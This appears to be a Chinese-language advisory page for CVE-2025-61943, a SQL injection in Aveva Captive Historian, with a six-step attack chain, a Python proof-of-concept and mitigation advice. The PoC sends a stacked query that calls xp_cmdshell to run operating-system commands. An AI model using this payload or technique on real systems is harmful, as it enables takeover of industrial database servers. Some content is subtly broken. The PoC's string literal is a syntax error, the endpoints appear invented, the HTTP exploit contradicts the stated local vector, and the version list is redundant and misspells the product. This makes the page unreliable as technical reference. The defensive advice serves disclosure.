CVE-2025-61943 Aveva Captive Historian SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-61943

漏洞类型

SQL注入

CVSS评分

8.4 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Aveva Captive Historian

漏洞概述

CVE-2025-61943是Aveva Captive Historian中的一个高危SQL注入漏洞，CVSS评分8.4。该漏洞允许已认证的恶意用户（拥有Process Optimization Standard User权限）篡改Captive Historian中的SQL查询，从而在SQL Server管理权限下执行任意代码，最终可能导致SQL Server的完全沦陷。攻击向量为本地攻击，不需要用户交互，攻击难度较低。漏洞主要影响系统的机密性和完整性，攻击成功后可导致敏感数据泄露和系统完整性破坏。由于该漏洞被归类为ICS-CERT发现的工业控制系统相关漏洞，因此在关键基础设施环境中需要特别关注。

技术细节

该漏洞存在于Aveva Captive Historian的查询处理逻辑中。拥有Process Optimization Standard User权限的认证用户能够通过构造特殊的SQL查询语句来篡改原本的数据库查询。由于应用程序对用户输入的过滤不严格，攻击者可以在查询中注入恶意SQL代码片段。当这些被篡改的查询在SQL Server上执行时，会以SQL Server服务账户的权限运行，从而实现权限提升。更危险的是，攻击者可以利用SQL Server的系统存储过程（如xp_cmdshell）或自定义函数来执行操作系统命令，实现代码执行。由于SQL Server通常以较高权限运行，攻击成功将导致服务器完全被控制。攻击者需要本地访问权限但不需要特殊权限，这大大降低了攻击门槛。

攻击链分析

STEP 1

步骤1

攻击者获取Process Optimization Standard User账户凭据或通过其他方式获取该级别权限

STEP 2

步骤2

攻击者登录Aveva Captive Historian系统，使用标准用户权限访问查询功能

STEP 3

步骤3

攻击者在查询参数中注入恶意SQL代码，如利用分号分隔执行多条SQL语句或使用EXEC/xp_cmdshell等系统存储过程

STEP 4

步骤4

被篡改的查询在SQL Server上以高权限执行，攻击者成功实现权限提升

STEP 5

步骤5

攻击者利用SQL Server的系统功能执行操作系统命令，实现远程代码执行

STEP 6

步骤6

攻击者完全控制SQL Server，可访问所有数据库数据、植入后门或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-61943 PoC - SQL Injection in Aveva Captive Historian
# This PoC demonstrates SQL injection via query tampering

import requests
import json

# Configuration
target = "https://target-aveva-server.local"
cve_id = "CVE-2025-61943"

# Authentication with Process Optimization Standard User credentials
auth = {
    "username": "standard_user",
    "password": "password123"
}

# SQL Injection payload for command execution
# Note: This is a conceptual PoC. Actual exploitation requires proper authentication.
payload = {
    "query": "SELECT * FROM HistorianData WHERE TagName = 'test'; 
              EXEC xp_cmdshell 'whoami'; --",
    "user_level": "Process Optimization Standard User"
}

# Attempt to exploit SQL injection
def exploit_sql_injection():
    session = requests.Session()
    
    # Login
    login_url = f"{target}/api/auth/login"
    login_response = session.post(login_url, json=auth)
    
    if login_response.status_code != 200:
        print(f"[-] Authentication failed")
        return None
    
    print(f"[+] Authenticated successfully")
    
    # Send malicious query
    query_url = f"{target}/api/historian/query"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": f"{cve_id} PoC"
    }
    
    try:
        response = session.post(query_url, json=payload, headers=headers, timeout=30)
        print(f"[*] Query sent, status: {response.status_code}")
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return None

if __name__ == "__main__":
    print(f"[*] Testing {cve_id}")
    result = exploit_sql_injection()
    if result:
        print(f"[+] Exploitation successful: {json.dumps(result, indent=2)}")

影响范围

Aveva Historial 2020 R2 SP6及之前版本

Aveva Historial 2020 R2 SP5及之前版本

Aveva Historial 2020 R2 SP4及之前版本

Aveva Historial 2020 R2 SP3及之前版本

防御指南

临时缓解措施

在官方补丁发布前，建议采取以下临时缓解措施：1)严格限制Process Optimization Standard User角色的权限，仅授予必要的最小权限；2)对所有用户输入进行严格的输入验证和过滤；3)禁用SQL Server中的危险存储过程如xp_cmdshell；4)启用SQL Server的详细审计日志，记录所有查询操作；5)实施网络访问控制，限制对Captive Historian的直接访问；6)监控异常查询模式，及时发现潜在攻击行为；7)考虑在DMZ环境中部署Historian系统，减少对核心网络的威胁。